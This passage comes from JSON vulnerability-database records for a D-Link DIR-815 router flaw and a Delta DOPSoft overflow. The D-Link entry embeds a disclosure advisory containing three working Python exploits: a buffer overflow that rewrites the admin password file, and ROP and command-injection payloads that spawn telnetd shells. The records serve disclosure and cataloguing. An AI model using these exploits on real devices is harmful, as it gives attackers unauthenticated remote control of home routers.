{ "value": "HIGH", "author": "CNVD", "id": "CNVD-2015-05076", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "id": "CNVD-2015-05077", "author": "CNVD", "trust": 0.6 }, { "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "id": "CNVD-2015-05076", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "CNVD", "id": "CNVD-2015-05077" }, { "db": "CNVD", "id": "CNVD-2015-05076" }, { "db": "CNNVD", "id": "CNNVD-201508-010" }, { "db": "CNNVD", "id": "CNNVD-201508-011" }, { "db": "PACKETSTORM", "id": "134368" } ], "data": "D-Link is an internationally renowned provider of network equipment and solutions, including a variety of router equipment. D-Link is a D-Link company dedicated to the research, development, production and marketing of local area networks, broadband networks, wireless networks, voice networks and related network equipment. \nA buffer overflow vulnerability exists in D-Link due to the program not performing correct boundary checks on user-submitted input. An attacker could use this vulnerability to execute arbitrary code in the context of an affected device and may also cause a denial of service. The following products are affected: D-Link Ethernet Broadband Router. ## Advisory Information\n\nTitle: DIR-815 Buffer overflows and Command injection in authentication and HNAP functionalities\nVendors contacted: William Brown , Patrick Cline patrick.cline@dlink.com(Dlink)\nCVE: None\n\nNote: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, \nhttp://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061\n\nHowever, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. \n\n## Product Description\n\nDIR-815 -- Wireless N300 Dual Band Router. Mainly used by home and small offices. \n\n## Vulnerabilities Summary\n\nHave come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. \n\n## Details\n\nBuffer overflow in auth \n----------------------------------------------------------------------------------------------------------------------\nimport urllib\nimport urllib2\n\n# This exploits the auth_main.cgi with read buffer overflow exploit for v2.02\n# prequisite is just to have id and password fields in params\n\nurl = 'http://192.168.0.1/authentication.cgi'\njunk = \"A\"*1004+\"B\"*37+\"\\x58\\xf8\\x40\\x00\" # address of system function in executable\njunk+=\"X\"*164+'echo \"Admin\" \"Admin\" \"0\" > /var/passwd\\x00'+\"AAAA\"\nvalues = \"id=test&password=test&test=\"+junk\n\n\nreq = urllib2.Request(url, values)\nresponse = urllib2.urlopen(req)\nthe_page = response.read()\n\n----------------------------------------------------------------------------------------------------------------------\n\nBuffer overflow in HNAP\n----------------------------------------------------------------------------------------------------------------------\nimport socket\nimport struct\n\n\n# format junk+ROP1(have right value in A0) + ROP2(add or subtract to create right system address) + ROP3(Jump to right address)\n\nbuf = \"POST /HNAP1/ HTTP/1.0\\r\\nHOST: 192.168.1.8\\r\\nUser-Agent: test\\r\\nContent-Length: 1\\r\\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX\" + \";sh;\"+\"H\"*286 \nbuf+= \"\\x40\\xF4\\xB1\\x2A\" # (ROP gadget which puts right value in A0)\nbuf+= \"B\"*20+\"ZZZZ\"+\"telnetd -p 6778\"+\"C\"*5 # adjustment to get to the right payload\nbuf+=\"\\xA0\\xb2\\xb4\\x2a\" # The system address is 2Ab4b200 so changing that in GDB just before jumping to test if it works which it does not\nbuf+= \"\\r\\n\" + \"1\\r\\n\\r\\n\"\n \nprint \"[+] sending buffer size\", len(buf)\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((\"1.2.3.4\", 80))\ns.send(buf)\n\n\n----------------------------------------------------------------------------------------------------------------------\n\nCommand injection in \n----------------------------------------------------------------------------------------------------------------------\nimport socket\nimport struct\n\n# CSRF or any other trickery, but probably only works when connected to network I suppose \n\nbuf = \"POST /HNAP1/ HTTP/1.0\\r\\nHOST: 99.249.143.124\\r\\nUser-Agent: test\\r\\nContent-Length: 1\\r\\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX\" + ';telnetd -p 9090;\\r\\n' + \"1\\r\\n\\r\\n\"\n \nprint \"[+] sending buffer size\", len(buf)\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((\"192.168.0.1\", 80))\ns.send(buf)\n\n----------------------------------------------------------------------------------------------------------------------\n\n## Report Timeline\n\n* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. \n* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor\n* Nov 13, 2015: A public advisory is sent to security mailing lists. \n\n## Credit\n\nThis vulnerability was found by Samuel Huntley (samhuntley84@gmail.com)", "trust": 2.25, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CNVD", "id": "CNVD-2015-05077" }, { "db": "CNVD", "id": "CNVD-2015-05076" }, { "db": "PACKETSTORM", "id": "134368" }, { "db": "CNNVD", "id": "CNNVD-201508-010" }, { "db": "CNNVD", "id": "CNNVD-201508-011" } ], "data": [ { "db": "BID", "id": "76012", "trust": 1.2 }, { "db": "BID", "id": "76014", "trust": 1.2 }, { "db": "CNVD", "id": "CNVD-2015-05077", "trust": 0.6 }, { "db": "CNVD", "id": "CNVD-2015-05076", "trust": 0.6 }, { "db": "CNNVD", "id": "CNNVD-201508-010", "trust": 0.6 }, { "db": "CNNVD", "id": "CNNVD-201508-011", "trust": 0.6 }, { "db": "DLINK", "id": "SAP10061", "trust": 0.1 }, { "db": "DLINK", "id": "SAP10060", "trust": 0.1 }, { "db": "PACKETSTORM", "id": "134368", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2015-05077" }, { "db": "CNVD", "id": "CNVD-2015-05076" } ], "data": true, "trust": 2.2, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2015-05077" }, { "db": "CNVD", "id": "CNVD-2015-05076" } ], "data": [ { "category": [ "IoT", "Network device" ], "sub_category": null, "trust": 1.2 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2015-05077" }, { "db": "CNVD", "id": "CNVD-2015-05076" } ], "data": [ { "url": "https://www.cnvd.org.cn/patchinfo/show/61829", "title": "Patch for multiple D-Link product UPnP buffer overflow vulnerabilities", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/61827", "title": "Patch for multiple D-Link product HTTP buffer overflow vulnerabilities", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CNVD", "id": "CNVD-2015-05077" }, { "db": "CNVD", "id": "CNVD-2015-05076" }, { "db": "PACKETSTORM", "id": "134368" }, { "db": "CNNVD", "id": "CNNVD-201508-010" }, { "db": "CNNVD", "id": "CNNVD-201508-011" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "references": { "sources": [ { "db": "CNVD", "id": "CNVD-2015-05077" }, { "db": "CNVD", "id": "CNVD-2015-05076" }, { "db": "PACKETSTORM", "id": "134368" }, { "db": "CNNVD", "id": "CNNVD-201508-010" }, { "db": "CNNVD", "id": "CNNVD-201508-011" } ], "data": [ { "url": "http://www.securityfocus.com/bid/76012", "trust": 1.2 }, { "url": "http://www.securityfocus.com/bid/76014", "trust": 1.2 }, { "url": "http://securityadvisories.dlink.com/security/publication.aspx?name=sap10060,", "trust": 0.1 }, { "url": "http://securityadvisories.dlink.com/security/publication.aspx?name=sap10061", "trust": 0.1 }, { "url": "http://192.168.0.1/authentication.cgi'", "trust": 0.1 }, { "url": "http://purenetworks.com/hnap1/getdevicesettings/xx\"", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2015-05077", "date": "2015-08-03T00:00:00" }, { "db": "CNVD", "id": "CNVD-2015-05076", "date": "2015-08-03T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201508-010", "date": "2015-08-04T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201508-011", "date": "2015-08-04T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CNVD", "id": "CNVD-2015-05077", "date": "2015-08-03T00:00:00" }, { "db": "CNVD", "id": "CNVD-2015-05076", "date": "2015-08-03T00:00:00" }, { "db": "PACKETSTORM", "id": "134368", "date": "2015-11-16T17:32:23" }, { "db": "CNNVD", "id": "CNNVD-201508-010", "date": "2015-07-23T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201508-011", "date": "2015-07-17T00:00:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201508-010" }, { "db": "CNNVD", "id": "CNNVD-201508-011" } ], "data": "remote", "trust": 1.2, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "CNVD", "id": "CNVD-2015-05077" } ], "data": "Multiple D-Link Product UPnP Buffer Overflow Vulnerabilities", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201508-010" }, { "db": "CNNVD", "id": "CNNVD-201508-011" } ], "data": "buffer overflow", "trust": 1.2, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "last_update_date": "2024-07-23T22:41:18.832000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-201507-0645", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-201803-1810](https://vulnerability.circl.lu/vuln/var-201803-1810) ```json { "id": "VAR-201803-1810", "affected_products": { "_id": null, "data": [ { "_id": null, "model": "dopsoft", "vendor": "delta industrial automation", "scope": null, "version": null, "trust": 9.1 }, { "_id": null, "model": "delta industrial automation dopsoft", "vendor": "deltaww", "scope": "lte", "version": "4.00.01", "trust": 1.0 }, { "_id": null, "model": "industrial automation dopsoft", "vendor": "delta", "scope": "lte", "version": "4.00.01", "trust": 0.8 }, { "_id": null, "model": "electronics delta industrial automation dopsoft", "vendor": "delta", "scope": "lte", "version": "<=4.00.01", "trust": 0.6 }, { "_id": null, "model": "delta industrial automation dopsoft", "vendor": "deltaww", "scope": "eq", "version": "4.00.01", "trust": 0.6 }, { "_id": null, "model": "electronics inc dopsoft", "vendor": "delta", "scope": "eq", "version": "4.0.1", "trust": 0.3 }, { "_id": null, "model": "electronics inc dopsoft", "vendor": "delta", "scope": "eq", "version": "2.0.5", "trust": 0.3 }, { "_id": null, "model": "electronics inc dopsoft", "vendor": "delta", "scope": "eq", "version": "2.00.04.09", "trust": 0.3 }, { "_id": null, "model": "electronics inc dopsoft", "vendor": "delta", "scope": "ne", "version": "4.0.4", "trust": 0.3 }, { "_id": null, "model": null, "vendor": "delta industrial automation dopsoft", "scope": "eq", "version": "*", "trust": 0.2 } ], "sources": [ { "db": "IVD", "id": "e2ff6511-39ab-11e9-8816-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-18-234" }, { "db": "ZDI", "id": "ZDI-18-229" }, { "db": "ZDI", "id": "ZDI-18-228" }, { "db": "ZDI", "id": "ZDI-18-222" }, { "db": "ZDI", "id": "ZDI-18-233" }, { "db": "ZDI", "id": "ZDI-18-227" }, { "db": "ZDI", "id": "ZDI-18-220" }, { "db": "ZDI", "id": "ZDI-18-231" }, { "db": "ZDI", "id": "ZDI-18-226" }, { "db": "ZDI", "id": "ZDI-18-230" }, { "db": "ZDI", "id": "ZDI-18-232" }, { "db": "ZDI", "id": "ZDI-18-221" }, { "db": "ZDI", "id": "ZDI-18-224" }, { "db": "CNVD", "id": "CNVD-2018-04098" }, { "db": "BID", "id": "103195" }, { "db": "JVNDB", "id": "JVNDB-2018-003080" }, { "db": "CNNVD", "id": "CNNVD-201803-561" }, { "db": "NVD", "id": "CVE-2018-5476" } ] }, "configurations": { "_id": null, "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:deltaww:delta_industrial_automation_dopsoft:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.00.01", "cpe_name": [] } ] } ] } ], "sources": [ { "db": "NVD", "id": "CVE-2018-5476" } ] }, "credits": { "_id": null, "data": "Ghirmay Desta", "sources": [ { "db": "ZDI", "id": "ZDI-18-234" }, { "db": "ZDI", "id": "ZDI-18-229" }, { "db": "ZDI", "id": "ZDI-18-228" }, { "db": "ZDI", "id": "ZDI-18-222" }, { "db": "ZDI", "id": "ZDI-18-233" }, { "db": "ZDI", "id": "ZDI-18-227" }, { "db": "ZDI", "id": "ZDI-18-220" }, { "db": "ZDI", "id": "ZDI-18-231" }, { "db": "ZDI", "id": "ZDI-18-226" }, { "db": "ZDI", "id": "ZDI-18-230" }, { "db": "ZDI", "id": "ZDI-18-232" }, { "db": "ZDI", "id": "ZDI-18-221" }, { "db": "ZDI", "id": "ZDI-18-224" } ], "trust": 9.1 }, "cvss": { "_id": null, "data": [ { "severity": [ { "id": "CVE-2018-5476", "value": "MEDIUM", "author": "ZDI", "trust": 9.1 }, { "value": "HIGH", "author": "NVD", "id": "CVE-2018-5476", "trust": 1.8 }, { "value": "MEDIUM", "author": "CNVD", "id": "CNVD-2018-04098", "trust": 0.6 }, { "id": "CNNVD-201803-561", "value": "HIGH", "author": "CNNVD", "trust": 0.6 }, { "id": "e2ff6511-39ab-11e9-8816-000c29342cb1", "value": "HIGH", "author": "IVD", "trust": 0.2 } ], "cvssV2": [ { "id": "CVE-2018-5476", "author": "NVD", "version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "accessVector": "Network", "accessComplexity": "Medium", "authentication": "None", "confidentialityImpact": "Partial", "integrityImpact": "Partial", "availabilityImpact": "Partial", "baseScore": 6.8, "severity": "Medium", "exploitabilityScore": null, "impactScore": null, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 9.9 }, { "exploitabilityScore": 8.6, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true, "version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "author": "NVD", "severity": "MEDIUM", "trust": 1.0 }, { "version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "id": "CNVD-2018-04098", "author": "CNVD", "trust": 0.6 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "id": "e2ff6511-39ab-11e9-8816-000c29342cb1", "author": "IVD", "trust": 0.2 } ], "cvssV3": [ { "exploitabilityScore": 1.8, "impactScore": 5.9, "version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "author": "NVD", "trust": 1.0 }, { "id": "CVE-2018-5476", "author": "NVD", "version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "Local", "attackComplexity": "Low", "privilegesRequired": "None", "userInteraction": "Required", "scope": "Unchanged", "confidentialityImpact": "High", "availabilityImpact": "High", "baseScore": 7.8, "baseSeverity": "High", "exploitabilityScore": null, "impactScore": null, "integrityImpact": "High", "trust": 0.8 } ] } ], "sources": [ { "db": "IVD", "id": "e2ff6511-39ab-11e9-8816-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-18-234" }, { "db": "ZDI", "id": "ZDI-18-229" }, { "db": "ZDI", "id": "ZDI-18-228" }, { "db": "ZDI", "id": "ZDI-18-222" }, { "db": "ZDI", "id": "ZDI-18-233" }, { "db": "ZDI", "id": "ZDI-18-227" }, { "db": "ZDI", "id": "ZDI-18-220" }, { "db": "ZDI", "id": "ZDI-18-231" }, { "db": "ZDI", "id": "ZDI-18-226" }, { "db": "ZDI", "id": "ZDI-18-230" }, { "db": "ZDI", "id": "ZDI-18-232" }, { "db": "ZDI", "id": "ZDI-18-221" }, { "db": "ZDI", "id": "ZDI-18-224" }, { "db": "CNVD", "id": "CNVD-2018-04098" }, { "db": "JVNDB", "id": "JVNDB-2018-003080" }, { "db": "CNNVD", "id": "CNNVD-201803-561" }, { "db": "NVD", "id": "CVE-2018-5476" } ] }, "description": { "_id": null, "data": "A Stack-based Buffer Overflow issue was discovered in Delta Electronics Delta Industrial Automation DOPSoft, Version 4.00.01 or prior. Stack-based buffer overflow vulnerabilities caused by processing specially crafted .dop or .dpb files may allow an attacker to remotely execute arbitrary code. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation DOPSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of the BackgroundMacro structure in a DPA file. An attacker can leverage this vulnerability to execute code under the context of the current process. Failed exploit attempts will likely cause a denial-of-service condition. \nVersions prior to DOPSoft 4.00.04 are vulnerable", "sources": [ { "db": "NVD", "id": "CVE-2018-5476" }, { "db": "JVNDB", "id": "JVNDB-2018-003080" }, { "db": "ZDI", "id": "ZDI-18-231" }, { "db": "ZDI", "id": "ZDI-18-224" }, { "db": "ZDI", "id": "ZDI-18-221" }, { "db": "ZDI", "id": "ZDI-18-232" }, { "db": "ZDI", "id": "ZDI-18-230" }, { "db": "ZDI", "id": "ZDI-18-234" }, { "db": "ZDI", "id": "ZDI-18-226" }, { "db": "ZDI", "id": "ZDI-18-220" }, { "db": "ZDI", "id": "ZDI-18-227" }, { "db": "ZDI", "id": "ZDI-18-233" }, { "db": "ZDI", "id": "ZDI-18-222" }, { "db": "ZDI", "id": "ZDI-18-228" }, { "db": "ZDI", "id": "ZDI-18-229" }, { "db": "CNVD", "id": "CNVD-2018-04098" }, { "db": "BID", "id": "103195" }, { "db": "IVD", "id": "e2ff6511-39ab-11e9-8816-000c29342cb1" } ], "trust": 10.8 }, "external_ids": { "_id": null, "data": [ { "db": "NVD", "id": "CVE-2018-5476", "trust": 12.6 }, { "db": "ICS CERT", "id": "ICSA-18-060-03", "trust": 3.3 }, { "db": "BID", "id": "103195", "trust": 1.9 }, { "db": "CNVD", "id": "CNVD-2018-04098", "trust": 0.8 }, { "db": "CNNVD", "id": "CNNVD-201803-561", "trust": 0.8 }, { "db": "JVNDB", "id": "JVNDB-2018-003080", "trust": 0.8 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5286", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-234", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5275", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-229", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5274", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-228", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5267", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-222", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5285", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-233", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5272", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-227", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5265", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-220", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5283", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-231", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5271", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-226", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5276", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-230", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5284", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-232", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5266", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-221", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-5269", "trust": 0.7 }, { "db": "ZDI", "id": "ZDI-18-224", "trust": 0.7 }, { "db": "IVD", "id": "E2FF6511-39AB-11E9-8816-000C29342CB1", "trust": 0.2 } ], "sources": [ { "db": "IVD", "id": "e2ff6511-39ab-11e9-8816-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-18-234" }, { "db": "ZDI", "id": "ZDI-18-229" }, { "db": "ZDI", "id": "ZDI-18-228" }, { "db": "ZDI", "id": "ZDI-18-222" }, { "db": "ZDI", "id": "ZDI-18-233" }, { "db": "ZDI", "id": "ZDI-18-227" }, { "db": "ZDI", "id": "ZDI-18-220" }, { "db": "ZDI", "id": "ZDI-18-231" }, { "db": "ZDI", "id": "ZDI-18-226" }, { "db": "ZDI", "id": "ZDI-18-230" }, { "db": "ZDI", "id": "ZDI-18-232" }, { "db": "ZDI", "id": "ZDI-18-221" }, { "db": "ZDI", "id": "ZDI-18-224" }, { "db": "CNVD", "id": "CNVD-2018-04098" }, { "db": "BID", "id": "103195" }, { "db": "JVNDB", "id": "JVNDB-2018-003080" }, { "db": "CNNVD", "id": "CNNVD-201803-561" }, { "db": "NVD", "id": "CVE-2018-5476" } ] }, "iot": { "_id": null, "data": true, "sources": [ { "db": "IVD", "id": "e2ff6511-39ab-11e9-8816-000c29342cb1" }, { "db": "CNVD", "id": "CNVD-2018-04098" } ], "trust": 1.7285714 }, "iot_taxonomy": { "_id": null, "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 0.8 } ], "sources": [ { "db": "IVD", "id": "e2ff6511-39ab-11e9-8816-000c29342cb1" }, { "db": "CNVD", "id": "CNVD-2018-04098" } ] }, "patch": { "_id": null, "data": [ { "title": "Delta Industrial Automation has issued an update to correct this vulnerability.", "url": "https://ics-cert.us-cert.gov/advisories/icsa-18-060-03", "trust": 9.1 }, { "title": "Top Page", "url": "http://www.deltaww.com/", "trust": 0.8 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/120063", "title": "Delta Electronics Delta Industrial Automation patch for DOPSoft heap buffer overflow vulnerability", "trust": 0.6 }, { "title": "Delta Electronics Delta Industrial Automation DOPSoft Buffer error vulnerability fix", "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=79197", "trust": 0.6 } ], "sources": [ { "db": "ZDI", "id": "ZDI-18-234" }, { "db": "ZDI", "id": "ZDI-18-229" }, { "db": "ZDI", "id": "ZDI-18-228" }, { "db": "ZDI", "id": "ZDI-18-222" }, { "db": "ZDI", "id": "ZDI-18-233" }, { "db": "ZDI", "id": "ZDI-18-227" }, { "db": "ZDI", "id": "ZDI-18-220" }, { "db": "ZDI", "id": "ZDI-18-231" }, { "db": "ZDI", "id": "ZDI-18-226" }, { "db": "ZDI", "id": "ZDI-18-230" }, { "db": "ZDI", "id": "ZDI-18-232" }, { "db": "ZDI", "id": "ZDI-18-221" }, { "db": "ZDI", "id": "ZDI-18-224" }, { "db": "CNVD", "id": "CNVD-2018-04098" }, { "db": "JVNDB", "id": "JVNDB-2018-003080" }, { "db": "CNNVD", "id": "CNNVD-201803-561" } ] }, "sources": { "_id": null, "data": [ { "db": "IVD", "id": "e2ff6511-39ab-11e9-8816-000c29342cb1", "ident": null }, { "db": "ZDI", "id": "ZDI-18-234", "ident": null }, { "db": "ZDI", "id": "ZDI-18-229", "ident": null }, { "db": "ZDI", "id": "ZDI-18-228", "ident": null }, { "db": "ZDI", "id": "ZDI-18-222", "ident": null }, { "db": "ZDI", "id": "ZDI-18-233", "ident": null }, { "db": "ZDI", "id": "ZDI-18-227", "ident": null }, { "db": "ZDI", "id": "ZDI-18-220", "ident": null }, { "db": "ZDI", "id": "ZDI-18-231", "ident": null }, { "db": "ZDI", "id": "ZDI-18-226", "ident": null }, { "db": "ZDI", "id": "ZDI-18-230", "ident": null }, { "db": "ZDI", "id": "ZDI-18-232", "ident": null }, { "db": "ZDI", "id": "ZDI-18-221", "ident": null }, { "db": "ZDI", "id": "ZDI-18-224", "ident": null }, { "db": "CNVD", "id": "CNVD-2018-04098", "ident": null }, { "db": "BID", "id": "103195", "ident": null }, { "db": "JVNDB", "id": "JVNDB-2018-003080", "ident": null }, { "db": "CNNVD", "id": "CNNVD-201803-561", "ident": null }, { "db": "NVD", "id": "CVE-2018-5476", "ident": null } ] }, "problemtype_data": { "_id": null, "data": [ { "trust": 1.0, "problemtype": "CWE-787" }, { "trust": 0.8, "problemtype": 